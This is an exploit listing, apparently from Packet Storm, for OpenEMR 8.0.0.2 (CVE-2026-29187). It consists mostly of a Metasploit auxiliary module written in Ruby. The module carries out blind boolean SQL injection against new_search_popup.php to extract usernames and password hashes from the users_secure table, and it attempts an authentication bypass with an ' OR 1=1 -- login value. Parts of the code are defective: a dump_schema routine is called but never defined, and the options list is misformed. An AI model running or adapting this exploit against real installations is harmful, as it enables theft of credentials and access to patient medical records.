Exploit for 📄 OpenEMR 8.0.0.2 SQL Injection CVE-2026-29187

## https://sploitus.com/exploit?id=PACKETSTORM:219182
==================================================================================================================================
    | # Title     : OpenEMR 8.0.0.2 Exploitation Tool                                                                                |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a potential SQL Injection vulnerability in an OpenEMR installation (CVE-2026-29187). 
                     It is designed for controlled security assessment and supports multiple exploitation and enumeration actions.
    
    [+] POC        :  
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name' => 'OpenEMR CVE-2026-29187 SQL Injection Exploit ',
          'Description' => 'OpenEMR 8.0.0.2 Exploitation Tool',
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE,
          'References' => [['CVE', '2026-29187']]
        ))
    
        register_options([
          Opt::RPORT(443),
          OptBool.new('SSL', [true, 'SSL', true]),
          OptString.new('TARGETURI', [true, 'Path', '/openemr/']),
          OptInt.new('TIMEOUT', [true, 'Timeout', 10]),
          OptEnum.new('ACTION', [
            true,
            'Action',
            'DUMP_USERS',
            'DUMP_SCHEMA',
            'AUTH_BYPASS',
            'GET_SHELL'
          ])
        ])
    
        @results = []
      end
    
      def uri(path)
        normalize_uri(datastore['TARGETURI'], path)
      end
    
      def inject_sql(payload)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => uri('interface/new/new_search_popup.php'),
          'vars_get' => { "mf_(#{payload})" => '1' },
          'timeout' => datastore['TIMEOUT']
        })
    
        return false unless res
        res.body.to_s.include?('SQL') || res.body.to_s.include?('error')
      rescue
        false
      end
    
      def extract_data(query)
        result = ""
    
        (1..50).each do |i|
          (32..126).each do |c|
            payload = "(SELECT IF(ASCII(SUBSTRING((#{query}),#{i},1))=#{c},'1','0'))"
    
            if inject_sql(payload)
              result << c.chr
              break
            end
          end
        end
    
        result.empty? ? nil : result
      end
    
      def run
        print_status("Starting OpenEMR SQLi module on #{rhost}")
    
        case datastore['ACTION']
        when 'DUMP_USERS'
          dump_users
        when 'DUMP_SCHEMA'
          dump_schema
        when 'AUTH_BYPASS'
          auth_bypass
        when 'GET_SHELL'
          get_shell
        end
      end
    
      def dump_users
        print_status("Dumping users...")
    
        count = extract_data("SELECT COUNT(*) FROM users_secure").to_i
        return print_error("No users found") if count <= 0
    
        (0...count).each do |i|
          user = extract_data("SELECT username FROM users_secure LIMIT #{i},1")
          pass = extract_data("SELECT password FROM users_secure LIMIT #{i},1")
    
          print_good("USER: #{user} PASS: #{pass}")
        end
      end
    
      def auth_bypass
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => uri('interface/main/main_screen.php'),
          'vars_post' => {
            'authUser' => "' OR 1=1 --",
            'clearPass' => 'x'
          }
        })
    
        if res && (res.code == 302 || res.body.to_s !~ /login/i)
          print_good("Auth bypass success")
        else
          print_error("Failed")
        end
      end
    
      def get_shell
        print_status("Shell method not safe in fixed version (disabled)")
      end
    
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================